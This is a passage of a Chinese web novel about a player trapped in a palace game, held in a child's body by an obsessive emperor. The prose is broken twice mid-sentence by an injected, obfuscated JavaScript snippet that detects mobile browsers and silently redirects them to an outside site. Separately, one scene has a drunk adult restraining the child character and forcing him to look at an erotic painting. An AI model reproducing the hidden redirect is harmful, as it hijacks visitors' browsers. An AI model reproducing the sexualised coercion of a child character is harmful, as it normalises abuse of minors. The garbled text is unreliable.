他现在就发现了个事,这小子貌似在外人、群臣那里一点都不疯,正常的很,也就有些坦荡随性。 可在宫里,在他面前,真是一点都不演了,怎样爽快怎么来。 赫连辉忽得起身,再次把他拎了起来,晃了晃,沉咛道:“比之前,倒是轻了点。” 祝瑶:“……” 他想,也许他在这人眼底就是个物件。 “我还以为你醒来后,会问我你那个宫女到哪里去了?原来,你也未必是个十分心软的人。” 赫连辉忽得说。 他看着这小童,似有些苍白的脸,眉头蹙着,原本养好的肉都掉了,恢复了那原本的瘦削,听着他轻语了句。 “问你,有用吗?” “这话不对,当然有用,你得到的一切,都是我给的。” “你所依赖的一切,都依赖于我。” “不是吗?” 未等祝瑶回语,只听这人略有些强硬地说,“如你所言,我是皇帝,应有尽有,你怎能不听从我?” “……” 狡辩好不好! 祝瑶服了,他这简直拿自己话堵自己,和个小孩较劲,没品。 “那宫女哄你做兔儿灯,也不过是为了迎上,背叛和利用你都不介意吗?不忠之人,何必留恋。” 祝瑶:“……” 我又不是什么皇帝,不忠就不忠,关我屁事。 他从不指望人付出生命,为了他。 忽得,一双手紧紧地攒住他的脖颈,略有薄茧的指腹一点点抚摸过肌肤,有些隐晦地目光,沉闷闷,执着地低下头看着他,用一种奇怪、难辨的眼神,将他的表情、神态,面孔一一打量着,似乎要将他整个人都看透一样。 他仿佛寻找着一个得不到的答案。 祝瑶有些窒息感,想要逃避这双眼睛,可他不允许,只扣住他,轻轻喃喃自语:“你为什么要叫阿瑶,你凭什么会叫这个名?不许叫。” 14. 二周目 祝瑶呆了下,他忽得记起,游戏界面里文字里母亲也是问了句,“阿瑶,想去外面看看吗?”他这副身体的名字里,依旧有这个字吗? 赫连辉像是一时兴起,没有来由的发泄情绪。 自这段话后,他就自顾自的离开了,祝瑶看着他离去的身影,唯一能肯定的是他的病貌似犯得更厉害了些,性情极端古怪,犹如过山车般的变脸。 一点都不好招惹。 直到晚上,他从睡梦中由于不太舒服醒来时,忽得发现一只手将他揽过,修长有力的臂膀将他禁锢地紧紧的,容不得他有半点逃离。 祝瑶自是想推开,他向来是很独的,本就睡得浅,有人在旁边,更睡不着。 可没推动。 “……” 长得那么壮,那么高做什么。 祝瑶满是腹诽,无处申冤,只能就这样全身倚靠着他、被迫贴在他的怀里,丝毫动弹不得。 小孩真烦。 也就只能欺负他这小孩。 这一夜倒是揽着他的人睡得香,他自己倒是后半夜都朦朦胧胧,清醒与昏睡间弄不明白,只觉得热乎乎的,等人早上差不多走了,他才将自己全埋在了被子里,床榻上空留几分余温。 一片寂静,黑暗之中,祝瑶终是陷入沉睡,久违地感受到了几分安宁。 许是再次来到这游戏世界里,有些太出乎意料了,全然陌生的环境,极度糟糕的处境,曾经作鬼时相伴一月的少年,也成了个难言状态,甚至……是造成他所处局面的罪魁祸首。 可没有他,就一定安全吗? 他清醒的明白,目前的宫殿是安全的,因为这是帝王日常起居、私底召见群臣,处理政务的紫宸殿。 除去最早醒来时的那场对话,祝瑶同赫连辉并未有太多的交流。 尽管他住在他的紫宸殿。 白日里的朝堂政事,似乎缠绕着他的生活;偶尔的闲暇时光,也多是外头打猎;难得不外出的时候,他也多在自己的偏殿里,似乎在搞一些艺术创作。除却晚上的时候,他倒是经常会回来。 祝瑶摸不太透,他什么时候回来。 有时早有时晚,往往都是他睡着后,他每当醒来时总能感受到那种禁锢的感觉,被迫伏在他怀里,被全然揽住,被当个小孩,当个真人玩偶抱在怀里,好似这人的物品,比如抱枕什么的……貌似他还越抱越习惯,越抱越过分,最早还只是随意揽着,现在更多则是强硬的、固执的彻底包揽。 祝瑶:“……” 他真不是他的二次元玩偶,谢谢。 于是,难得有天他于清晨醒来时,朦胧视线中见得宫人替他换着朝服,只自个儿坐了起来,有些厌烦道:“赫连辉,你能不能别……别同我……”那个“睡”字祝瑶实在开不了口,眼底微微乌青,极度的烦躁。 他整个人都处于一种快要炸掉的样子。 任谁本来就睡的浅,怕被打扰,喜欢独自睡,爱清净,天天被迫同个早出晚归的人同寝都是要被打扰的。 祝瑶不必找个铜镜瞧,都能知晓自己眼底的青黑。 他困死了。 天天该睡的时候被迫弄醒了,长期的睡不好都是要崩溃的。 再这样下去,祝瑶觉得自己可以把那颗假死丹吃了,直接长睡不醒算了,死了就死了,可能还回游戏大厅了。 赫连辉挥手让宫人散去,昏暗的堂内,他忽得走得越近,他身着深黑朝服,头戴冠冕,腰间配玉环,行步间珠玉摇曳,高大健壮的身躯走来,只把少许余光压得全无,只剩下那双幽深的双目盯着,俊美的面孔浮出少许困惑。 “你是不怕我的。” “真怪。” 祝瑶未曾开口,忽得直接被人大手揽起,整个人坐到了他的臂上。 祝瑶早已眼皮闭上,半睡半醒状态,只恍恍惚惚的,长久的睡眠不足好似彻底反弹,也许怕是是一种适应,他居然久违地感受了困倦,连话都懒得开口了,只想就这么沉沉睡去,好像被穿了些衣服,然后依旧是那种摇晃的状态。 在这之后,他就不记得了。 他睡了个无比漫长的一觉,待快醒来时只觉得日光晒着人暖洋洋的,就是身下的床总有些烙人他双手抓了下,像是许多次惯性地抓着床单,整个人陷在他那张软软的、大大的床里,是休息日呢,可以睡晚点,睡到太阳晒,还可以在家好好打游戏。 “啧。” “真不听话,还抓人。” 祝瑶猛地惊醒,双手撑起,抬头时只撞见了一双打量的眼睛,两道锋利剑眉下略带不满,忽得整个人有些悬空着,似是又被拎了起来,他低头瞧只见了大半裸露的胸膛……衣服给我好好系上啊,不要这么轻浮浪荡。 好好一个皇帝,搞得酒吧男模似的。 祝瑶无语。 他直接闭上眼,让他看美女还差不多,看裸男……他好好的直男,看个锤子。 赫连辉打量,注目,忽得古怪地笑了声,“小儿倒也会害羞。” 祝瑶喷了。 他颇有些死心的回了句,“不是害羞,是你……”你去你的后宫睡啊,天天把个小孩当抱枕、玩偶,神经病啊。 “你别把我当玩物。” 祝瑶刚说完,就被捏住了脸颊,指腹摩挲着,似乎觉得很好玩。 “的确好玩。” “不错,你这小童,养起来怪有趣的。” 赫连辉见这小二脸颊被捏的鼓起来,弯弯的眉间蹙着,似乎半点不想和自己解释,很有种自暴自弃的意味。 忽就笑了起来。 祝瑶:“……”他就知道,他把自己当成了真人玩偶,古代这么无聊,养花养草貌似还真没养人有意思。 殿内宫婢很多,多是闭口不言。 这紫宸殿是肃穆的、厚重的,可此刻的声音倒是打破这片平静,那略显肆意的笑意,张扬至极的笑声,无一不透露出帝王的愉快、尽兴,这着实是很少见的,只见宽大的塌上,他将坐在自己身上那小儿举起,放下,举起,放下……反复多次,似逗弄着,只把那位小殿下弄成了个随他摆弄、放空一切的人。 青烟隔着帷幕,静悄悄地注目。 她总觉得……有点怪,不只是她服侍多年的陛下怪,那位小殿下也怪,总觉得一大一小间有种旁人插不进去的感觉,好似熟悉的过分,怎么会有不怕皇帝的孩子,怎么会有对皇帝发脾气的孩子。 即便他是陛下的亲弟弟。 陛下的心思,着实难以捉摸,他今日走时竟是让这位殿下坐在自己臂上,干脆揽在自己怀里上了朝。 别说其他人惊愕。 青烟亦是觉得荒唐,她多年来何曾见过他这般的亲近人,这般多次显而外露的情绪,总觉得甚是惊心,莫名有些惶惶。 “怪小鬼。” 等人走了,祝瑶小声嘀咕了句,依旧摊在床榻上。 哪有把人当玩具的? 他好歹……勉强也算上这小鬼的一个萍水相逢的“救命恩人”?虽说是个恶鬼,可恶鬼也没索他的命。 如今,却成了此人的囚中物。 真是没啥恩报相抵。 还有……他什么时候能回去啊!他真的好无聊啊,好无聊。 祝瑶在这殿内呆了好些天,无聊透顶,连拍照都懒得拍,没人管他,除了不能跑出去外,可也不会有宫婢陪他说笑,他那小宫女冬枣好歹还算年轻,稚嫩,即便他不说话,也会陪他说下话,解解闷。 可这紫宸殿里的人个个都是个木头,把谨慎小心都刻在了心里头。 祝瑶觉得,自己还不如当个鬼,来的轻松自在,至少还能听点壁角,宫闺之事呢! 这日晚上,赫连辉忽然回来的早,青铜制得金灿灿的龙雀烛灯散出柔柔的光,祝瑶半倚在塌上,瞧那被拿来观赏的宫灯,异常繁复靓丽,其中有画几幅,却是画了个仙人画桃售卖,凡人攀爬桃枝上天的故事。 因日子渐长,他的睡眠时间倒也有些同人同步了。 “无聊。” “真无聊。” 祝瑶又开始想自己的小黄油了,他觉得他就是个俗人,俗的很。 他不知道……远处的帝王神色颇深,只默默地瞧着,异常的专注,殿内的香点起,开始幽幽的散着,那小儿微微地轻咳,有些不太适应的样子,懒懒散散的半阖着眼,慢慢地似是有些睡意了,晃悠悠的垂下了手。 赫连辉立在那里等,等了许久。 等人清醒,睡熟了,才缓缓踱步,走到那榻前,坐了下来。 他伸出手,只悄悄地碰了碰,语调有些难言的意味,有种极度的荒谬感,“偏生……怎会生得这么像?” 靠地越近,越觉得像。 并非容颜。 他向来不怕自己。 他说过……鬼终有一天是会消失的,是否早已知晓自己会离去,会只留下自己一人……他总喊自己小鬼。 赫连辉将头伏在榻前,想了许久许久。 祝瑶不知赫连辉所想,自那日醒来后只觉得见他更少了,很有些荒唐了,他住着这帝王住的主殿,他自个儿貌似住的偏殿。 他不再逗弄他,除却夜晚会过来看他一眼便匆匆离去了。 许是怕他关久了无聊,他后面倒是带来了许多的玩意,供孩童玩乐的精致奇巧之物,亦有许多的话本子,总觉得市面上的怕是都被送了过来。 祝瑶翻看时,偶尔会想……他也是神人,给小孩看这种东西,不过他这个假小孩看得起劲,就不计较了。 日子越发久了,人也很是懒散起来,总想着寄情于其他,逃离这片真实的天地,彻底的躲起来。 直到那日,祝瑶醒来时只觉奇怪,他竟是从另一个房间醒来,可这地方莫名地有些熟悉,这是一间书房,装饰清雅,富有格调,屏风,桌案,书架……莫名有些郁然,透过屏风的身影亦是如此,直到注意到玉插瓶里那含苞欲放的一枝梅花,他才恍惚地意识到到了冬日。 怕是殿内的地暖太热,总没什么知觉。 祝瑶起步下来,从屏风后转出,然后就看到了伏在桌案上的人,浑身散发的酒气,地上飘落的酒水,随意放置的笔墨,挥洒狂放的字迹。 以及地下放置的灯。 许多许多,各色各异的灯,就随意的摆放着,不怕践踏般。 祝瑶缓步走了过去,看到宽大桌案上摆着的那盏有些灰黄,黯淡,失色的兔儿灯,他不禁伸出手,想要小心拿起时,一只强有力的手将他攒住,紧紧地将他整个人拉至自己怀里。 祝瑶没挣扎动,只听到那有些癫狂、躁动、萦绕着厚重的酒水味道,直让人觉得可怕的执拗声音。 “你不是和我说,我要当个好皇帝吗?我现在当上了,你怎么还不来见我,还不来?还不来?我等了这么久,等了好久了,你不想来了是吗?” “你说啊,你会来的,你骗我吧,说你会来,你说啊!” “说啊!” 耳畔间的声音越发激烈,将他整个人彻底收拢,缠在那人的怀里,跨坐在他的膝上,只紧紧的、压抑的、痴狂的,彼此黑发交缠作乱,宽厚的臂膀将他笼罩,逼着他去看,去望着……那桌上的画,那伏在水池边,被男人狠狠压在身下的人,只露出撑在地面的半只手,依旧很有些羸弱状态。 那身影侧着脸,黑发落在耳际,似有些气状,笔触细腻,神态动人。 祝瑶想偏头,不去看,男人的手却一手强硬的扣住他的腰,一手从后揽住他的头,逼迫他无法动弹,只能去看那副春宫画,他不允许他逃避,让他直面这焦灼欲望,让他看的彻彻底底。 似乎身旁的人,彻底成了欲脱离牢笼的野兽。 “……” 呼吸越发浓厚,酒气散的浓烈,夹杂几枝梅花的清香。 不知过去了多久,久到禁锢着他的手臂都放下,有些浑噩的向一边倒了下去,似是醉倒在了桌案上,祝瑶忽得颤颤看了他一眼,那张俊美狂放的面孔,即便闭上眼也是布满不安、焦躁,似乎被一个噩梦缠了许久,始终无法解脱。 祝瑶突然想起了一段对话。 那是前往北地时,中途遇到了个老汉,似是由于田地苛税还不上的缘故,不得不卖儿卖女。 祝瑶不由得拍了拍他,叹了句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540523|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当皇帝是不容易的,得考虑许多人的生命。你当了后,可得好好当。” “不能当昏君吗?” “当个昏君上天会惩罚吗?” 祝瑶听到这回答,当时差点没梗住,这真是……当皇帝的料吗?他都怀疑人生了,想了下,他还是给了个挺诚恳的回答,“可能没惩罚。” “小鬼,没听过祸害遗千年吗,当昏君啊,总觉得有点不妙,不当为好,别搞得遗臭万年。” “要当,就当个……好皇帝吧。” “也好。” 他那时答应地轻易,可如今…… 祝瑶无奈地苦笑了,这是不是算得上货不对板,他就是说……这小鬼其实不太适合当皇帝,以他那一月的了解,总觉得太任性、太自我了。 祝瑶望着他睡熟的目光,伸手轻轻抚了抚他那紧锁、沉郁的眉,这么大了还记得一个幼时少时见过的鬼做什么。 他只觉得无处不荒唐。 “你说你,当什么皇帝,不当……”也许就不会成了……要被攻略的人物。 话语声未完,忽得眼前彻底变了模样,主界面上倒是定格的画面,顶部向下的窥探,将整个书房之景收入眼底。 狂乱的书房,被迫侧脸伏在桌案的少年,紧紧禁锢着他,压在他身上,逼迫着他看画的醉酒男人。 一切都是如此的疯狂、糟糕,仿佛将所有的情绪倾泻出来。 “……” 祝瑶闭眼,觉得有些不堪入目,而且他真的觉得这游戏越来越神经了。 能不能提个醒。 能不能啊! 进游戏不吱声,待多久不吱声,出来时更不吱声。 想搞死玩家是不是,能不能别搞人心跳了。 “叮铃。” 【恭喜玩家解锁主线剧情:兔儿灯,收获缘分碎片x3 】 【恭喜玩家解锁隐藏cg:无芳信 】 【恭喜玩家解锁攻略人物‘夏启言’,当前解锁度10%,攻略度1% 】 “艹” 祝瑶骂了句。 游戏任务提醒声音倒是很俏皮,充满欢快感。 【恭喜玩家解锁攻略人物‘赫连辉’,当前解锁度50%,攻略度40%】 祝瑶看着这最后一个提醒,看着这莫名其妙涨的攻略度,好想……骂街,攻略个神经病有意思吗?他一点都不想攻略什么真人好不好! 他想了许久,最后还是点开游戏界面,找到收获的主线剧情:兔儿灯,点开来瞅了瞅。 开头便是一副长卷,剧情的总揽,好似一个小短片。 稚嫩的孩子做着灯。 他提着灯,听从着衣着华丽的女人的教导,忽得于夜里向着个白色身影走去,随后问出那两句。 “能陪我一会吗?” “这盏灯是我亲手做的……很好看的。” 祝瑶看着这画面一步步跳转,看着那陪同的白色身影消失,看着这孩子捡起那掉落在地,有些破损的兔子灯。 他看着这孩子修补这灯。 他看着时间跳转,做的越发华丽的灯,以及那渐渐长成的少年、青年、成年人……最后是浩盛灯会下的身影,看不清神色,只静静地望着。 “……” “记着个只见过几次面的鬼……干什么?” 祝瑶喃喃自语,最后转而望向画卷右方,配着图像的文字一段段吐露出来。 <北地的人爱做灯,爱看灯。只因那统治北地,济世救难的王爷爱看灯,甚至每年都要举办一场浩盛灯会。> <谁也不明白他的心思。> <传闻,除却擅丹青,擅制些奇巧之物外,他颇擅制各类宫灯……早在宫里时,他甚至每年都会亲自做一盏兔儿灯,可他为何喜欢、爱做都是摸不清的。> <好比他这人,身上总是有着太多太多的谜,有得“鬼神眷顾”的传闻从不否认,爱画美人却从不留下美人,王妃之位至今空悬……甚至,直到了今天,他也未曾有过一个孩子。> <人人都说他怕是有着钟爱之人,却天人两绝。> <可叹,可叹,这么个任性的王爷,偏偏活生生成了北地民众眼底的活菩萨,天底下难遇的真圣君。> 祝瑶缓缓看着文字,看了许久,看到最后一句,颇觉得滑稽。 感情他还是个明君。 行,他接受。 他回到主界面,原本维持着他曾在游戏里最后一刻的截图,已然重新换了个画风,全然的简笔画抽象图。 那是个有些高的宫殿,上面写着“蓬莱阁”。 一个坐地的小人。 [9岁,你从冷宫中被接出,被新任帝王封为储君。世人惊异不已,可仅仅过了三月,情势直转急下。] [你因触怒帝王,被拘禁在蓬莱阁。] 祝瑶:“……” 所以说,他就是个神经病吧。 15. 二周目 【恭喜玩家解锁新人物‘夏启言’解锁度到达10%,新增可解锁细节模版可查看!】 【友情提示:细节模版也需要好好维护哦。】 祝瑶看着点亮的卡面,士子夜读的场景竟是一变,变成了白日,竹林流水隔着茅屋而立,茅屋前有磨坊、菜园。 日光浮起,流水潺潺。 好特么一副田园山水画。 “走清新画风?” 祝瑶有些狐疑,实在是这个游戏的节操……他真的不信了,忽得灵动的轻音乐响起,是有些幽静的笛声。 左侧的竹影飕飕作响。 疑似风的来临,带来了整个世界的欢乐。 超大的屏幕上,祝瑶伸出手碰了碰那左侧的竹叶,忽得竹叶也浮动了下,似在互动一般,轻盈的触碰。 有点痒。 祝瑶还未曾反应过来,白色猫咪猛然跳了过来,似要咬着屏幕上的竹叶,看起来凶巴巴的,叫着,“喵喵。” 祝瑶干脆一手拎起猫,眨着蓝眼睛,动作不断的猫咪似是完全没想到,全然失去了挣扎,只委屈的“喵”了声。 “别胡闹。” 祝瑶撸了一把猫,安抚了下,随后看着竹影旁浮现的三个小按钮【浇水】【日光】【抚摸】【清凉】,只有浇水解锁变亮。 感情他的拟态化居然是竹子? 祝瑶:“……” 祝瑶看着田园山水画里消失的人物,唯独竹影浮现的场景,忽得点了下【浇水】按钮,画面上真的出现了小水滴。 滴滴答答……落在了那丛竹子上方。 清冷的笛声,飕飕作响的竹叶,似是有些畅快的摇摆,舞动。 “竹子精?” 祝瑶咳了声,没多想什么,游戏界面提醒了句“玩家完成浇水一次,请再接再励哦!”。 【备注:竹子是一种很古怪地生物哦,他脆弱又坚韧,是需要费心养护的哦,需要时常浇水、阳光照射。】 【千万千万不要忘记浇水哦。】 【否则,竹竹会……偷偷生气。】 “生气个鬼啊!” 祝瑶“呸”了句,转而看向游戏主页面的收获的新的cg,【无芳信】,这是赫连辉故事线下的新cg。 那是一张酒醉狂态图,恰恰是他从游戏里脱离出来时的场景。 祝瑶以手扶额,撑着自己,他只能让自己竭力将思绪放在cg的文字上,摆脱这张令人无力的动态图。 【无芳信】 <他想过很久,很久,自那年月夜里的离去,已过了太长的时间,可那都不重要……他相信他会回来的。> <他不爱写信。> <他知道这是一场无望的等待。> <可他愿意等,等……那或许永远等不到的信,可万一有一天,他回来了……他相信一切都会重回正轨。> 脱离了游戏,旁观者的视角……才将当时情景彻底展现。 伏在桌案的身影,露出半张侧脸,眼睛里情绪很是激烈、昂扬,浑身微微颤抖着,似是无法控制自己。 他醉了。 他醉的很深,像是个追求答案的狂徒。 祝瑶叹了口气,没去看收获的【缘分碎片X3】,选择回到了游戏主界面,再一次继续游戏。 游戏界面由两块屏幕组成,似乎会自由的变换大小,好比现在,祝瑶眼前触碰的那块是仿佛倾斜的桌台嵌入,很符合视线角度。 而另一块…… 祝瑶差点气死,犹如电影院般的全景式大屏,将所有的景色都收入,仿若身临其境,他都不敢想像后续了。 他低头,只看可操控的小界面,还是偏二次元小人的界面萌哒哒,然而……简笔画小人坐地望天,神态貌似有些荒谬。 文字依旧停留在那句:[9岁,你因触怒帝王,被拘禁在蓬莱阁。] 祝瑶:“……” 他其实真的不懂,算了,不要纠结这点,他选择继续游戏,游戏界面顿时换了个画风,顿时高级了许多。 古风的宫殿,陈列物品不少。 居中的是个坐在白色地毯上的小人,黑发黑眼,有些精致,手里拿着一卷书。 殿内廊柱旁,也站着个粉衣小人。 [你被关进了蓬莱阁,不被允许出来。] [意外的是,你的宫女“冬枣”重新回来了,作为你唯一的宫女照顾着你。] [没有人明白帝王的想法,他并没有取消你作为他的继承人的决定,更没有立新的嗣子,并且肉眼可见的……] [他的身体特别好,处理政事也颇有精力,貌似能活很久。] 祝瑶:“……” 行,长命百岁。 [这里没有人打扰你,你在蓬莱阁内居住了整整三年,无事发生。] [是幽禁吗?] [你真的不懂,心里隐隐有一种预感,也许不完全如此……直到现在,你依旧不愿意去想那一天发生的事情。] [那场荒谬的酒醉。] [虽然长居深宫,可是你也渐渐清楚了一些事情,你的母亲并没有死亡,她居住在福恩殿,据说常年礼佛。] [也许这些事情正是赫连辉愿意让你清楚的,让你明白你依旧受他掌控。] [何必呢?] [你本就被关在这里,你的人生也随着他摇摆……他明明得到了许多,不是吗?这是怪罪吗?是愤怒嘛?] [你不想猜测,有些事情不需要答案。] [12岁,你生了一场病。] [这场病断断续续,延续了长达三个月,你始终病恹恹的姿态,无论是进食、读书还是其他,都显得无精打采。体质-2] 祝瑶:“……” 啊啊啊啊,可恶啊,懂不懂他这个属性点真的很差了,不能掉啊。 他开始怀疑……他真的要挂了。 [13岁,你开始怀疑……自己的选择,是不是你做错了?也许不拿出那把尖钉就不会被注意,也许……你当时死了貌似更好,反正这是场游戏不是吗?死亡也只会回到最初,你觉得这场游戏的时间太长了。] [你开始有点厌倦这场游戏。] [也许唯一值得庆幸的是冬枣没死,随着你慢慢长大,她也长大了,变得成熟、稳重……依旧开朗,善良,可眉宇间也不可避免的染上几分忧思,她是个聪明的女孩,越发清楚你的处境,她不免为你难过。] [实际上,你并不难过。] [你只是厌倦,厌倦眼前的一切。] [这三年来,你渐渐爱上了读书,把读书当做日常消遣。智力+1] [这是无可奈何的一件事,你连自己都未曾想过的,可你也只能如此,空想毫无意义,就算是等死也得找点事做吧。悟性+1] 祝瑶:“……” 悟性再加,他真感觉要出家了。 游戏可从没乱说啊,就是恶趣味满满,他深切怀疑某个结局一定有出家。 [或许,你得感谢那个男人,他虽然把你拘禁在此,不容其他外界的侵入,可日常的衣食住行从未苛待。] [他送来过许多的书,几乎摆满了书架。] 画面上,宫殿的背景换了个角度,似是个书房,宽大的书架上摆满了各类书,黑发小人坐在书案前观看。 [有一天晚上,你望着灯火,忽得很想把这所有的一切都烧的干干净净。] 【那么,你会选择泼了灯油吗?】 【泼/不泼】 祝瑶直接干脆点了泼,他始终觉得玩游戏就是要玩的爽,打通结局,拿到所有cg是一种爽,玩的过程愉快也是一种爽。 如果过程不愉快,那结局毫无意义,至少此刻他觉得泼挺爽。 再说,泼了估计也不会怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540524|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样。 [你打泼了灯油,将灯油浇灌在地上,将书架上的书通通都丢在火里,你把自己的记录都丢在火里,烧吧,烧吧,把所有的都烧光……你看着火渐渐变大,有些缓缓笑了,你感到非常的愉快。反叛+1] [你听见宫女冬枣的呼唤,她无疑被吓到了,开始呼唤殿外的侍卫,殿内的火开始烧了起来,烧尽了桌案。] [这三年里,你一向维持着安静、沉默,你很少对事物发展什么看法,你多数时候是听着,你是个沉默地看客。] [冬枣不敢想象你的举措,她很是揪心的望着你,连忙把你从火光中拉到一旁去。] [殿外的侍卫很快来临,他们带来了水浇灭了火。] [你依旧保持着微笑。] [你看着这一切,看着来临的侍卫、看着灯火点亮,肃穆与焦急并行的殿内,看着渐渐涌动的人群。] [终于,他来了。] [临近14岁的这一年,他于一场很小的人为纵火的晚上,再次出现了。] 急匆匆地脚步声。 兵甲扑哧的抖动,眼前停滞的影子,祝瑶忽得抬眼,转身望去,殿外门大开,风把一切吹得微颤,包括身旁立着的宫女的衣衫,她有些颤动,只双眼含着泪望着自己,是熟悉的面孔,可总有些空洞感。 祝瑶抬眼,望着这一切,看着忽得闯进的身影,那身黑色衣衫,行止间很快,步履稳健,腰间配着剑。 时间于这一刻失去了意义。 祝瑶再次意识到了这一点,他的一瞬间,是他的多少年……犹如许久前他从画里清醒时见到的,稚童变作少年。 他显得更加的成熟、冷峻,眉宇间锋利越发明显,目光里甚至染上了几分疯狂的决然、而非清醒的锐利。 他的到来,似乎让所有的人都止住呼吸般,变得焦躁、不安、恐惧。 祝瑶环顾四周,烧焦的地面,跪地的宫侍,淡淡的木质香和焦味夹杂着,让所有的一切都变做真实……这当然不是假的,这是一场真实化作的游戏,目光渐渐收回,回到那渐渐走近的人,不知为何他倒是走的越发的慢,玄色衣衫上的金线越发刺目,空气中萦绕着淡淡的酒味,恍惚之间记起了那曾经酒醉时的疯狂。 他还在酗酒吗? 祝瑶分了下神,心口莫名有些跳了下,忽得他走近了,近的能听见呼吸声,有些闷、有些重。 他眼眸不自觉地下垂,耳边忽得传来一声扣地响声,眼前的衣服有些折了起来,有些散乱的落在地上。 祝瑶忽得意识到了什么,想抬头时却被双手扣住了肩膀,目光不得不平视着单膝跪地,微仰头凝视着他的男人。 他领口微散,露出精壮的胸膛,似有几道伤疤的淡淡痕迹。 他整个人就像欲挣脱的猛兽,浑身压抑着什么,狠狠的压制住,就像扼住弑人的犬齿,将獠牙收住了。 祝瑶被迫撞进他的目光,那饱含着侵略、可又仿若被驯服似的,恳求着他的回应般,含着声吐露着心声。 “阿瑶,你告诉我,你到底想要我怎样?” 16. 二周目 【王者的恳求】 <他在满足你,他在恳求你……奇怪吗?高兴吗?看吧,他在向你臣服……当然,也许这只是他的伪装,你不太认同前者的妄想,可万一真的呢?> <他低下了头颅,仰视地注视你。> <他等了太久了,等到他都怀疑起了事实,应当是幻觉吧,是神明的玩笑吗?是上天赐予的惩罚吗?是他不可饶恕的亵渎带来的报应吗?> <他不得不承认,他有些害怕了。> 祝瑶望着界面上【王者的恳求】,这次的进入游戏太快了,快的不可思议,出来的也不可思议。 他在想他回应了什么? 他甚至不敢面对……他知道了吗?他认出了自己吗?可他也只说了那句话,仿佛这是他最后的倔强。 游戏屏幕上的文字依旧在加载着,背景转向变得有些辉煌,鎏金和暗红交织的帷幕旁,静穆而立的白衣少年,单膝跪地的玄衣帝王,两者轰然降临的对视,将一切暗藏的情绪都戳穿,将一切良久的沉默都打碎…… <往日纠葛的一次次重合,红线的一次次缠绕……终于,命运让你们再一次相逢,他已等待了太久,为了这份答案,而这一次他会选择狠狠抓住?亦或是放手任由?> <答案似乎摆在了眼前,你渐渐有些意识到了。> <他在向你臣服。> 祝瑶看着新展开的文字上方标题【王者的臣服】,不禁注视着流动变换的画面,狭窄亦空旷的的宫殿,白衣少年终是伸出了手,有些轻轻地抚摸黑衣帝王紧锁的眉间,他是如此的自然、顺遂,只想抚平他的不安,而非其他。 昏暗的灯火下,肃静的宫侍,各个都低下头颅,不敢看这一幕。 唯独有个初长成、俏丽的宫女满脸惊愕,似是不敢相信,可她目光更加偏向那伸出手的白衣少年,少年很瘦削,略有些皎白,连伸出的手都白的透亮,似是没见过多少日光,常年的久处于室,不见外人,于尘世间有几分隔绝、很难生出片刻涟漪。 可这样不沾俗世,目光悠远的少年,却伸出了自己的手,仿若将那心间暗藏的几分思绪流露出来,是愧疚、还是无奈。 早已难以捉摸。 祝瑶微微怔住,他低头看着自己的手,自己伸出手了吗? 是的吧。 画面似是再次变幻,似是由于这场安抚,那跪地的帝王终是按耐不住心中的渴望,扣住对方肩部的双手向后,将少年彻底揽住,拥入自己怀中。 是占有吗?还是依恋……是多年后的彼此取暖?早已分辨不清,祝瑶意外地还记得那个怀抱,早已超出控制的走向,此刻彻底的外露,他不能将他视为曾经的少年,他不会在那般开轻佻的玩笑。 一个晃神。 浅淡的呼吸声传来,背脊处温暖的厚度。 祝瑶抬眼,宽大的帷幕将一切笼罩,将宽阔的殿内化作幽静的、狭隘的居室,角落里伫立的灯火昏暗暗,只照出几分夜色,紧紧倚靠着他的少年、不,是男人不再强硬、可依旧执着的扣住他的手,呼吸越发的平稳,似是进入了梦乡中。 再一次进入游戏。 祝瑶没睡着,就这般静静地守了一夜。 他睡得很沉,很深,似是许久都未曾这般直至清晨来临,日光浮起,祝瑶才困倦地闭上眼睛,待醒来则是猫咪的尾巴,幽幽的在眼前晃着,夹杂着一声浅淡的“喵”,整个身躯似是赖在了他的怀里。 他抬眼,看着虚幻的屏幕。 此刻,他已然回到了游戏大厅,明明是随意躺在空中,也并未落地,似是背后有所依靠将他托住。 【每日提醒:请玩家不要忘记给竹竹浇水哦。】 【养了竹竹,就不能随意抛弃,否则竹竹会超级生气气的!】 “……” “行,就当做日常任务。” 祝瑶起身,点开人物图鉴,找到排着第二的“夏启言”图点开,图片也就是那副小桥流水,田园景色,可这一次画面上出现了个人,这人穿着件白衫,侧脸秀挺,端正明朗,立在河边,颇有种临危不惧的凛然。 他在看着河对岸的草地上,那空中飘荡的风筝。 “新的故事线?” 祝瑶看着那画面,不禁想了下,细细探究那场景,似是有个身影在放风筝,野草将所有都遮去,只剩下那隐隐的红衫,像是落日的余晖,点缀着河岸和青草间,水光间隙间几分光影,虚幻缥缈。 看着人物“攻略度:1%”,祝瑶摇了摇头,想那么多干什么,他还是老实做点日常任务,好好浇水吧。 竹影浮动。 雨雾滴在竹叶上,似是画面里也下起了濛濛细雨,那着白衣的士子,跨过了河岸,像那远方的身影追逐而去。 祝瑶指尖划过竹叶,忽得白猫跳了过来,缠在他的手臂上,尾巴摇啊摇,似在暗示着什么。 “你又不能投喂?摇啥啊?” 祝瑶撸了把猫咪,似是知道这点很委屈地“喵”了声,随即就接着缠着他的身边,夹杂着跳来跳去,没个正行。 【您已完成日常浇水一次。】 【收获书页X1。】 “?” 祝瑶看着界面上提示的提醒,还挺惊奇的,他真有点感动了,这随便浇下水,才浇第二次就送礼物? 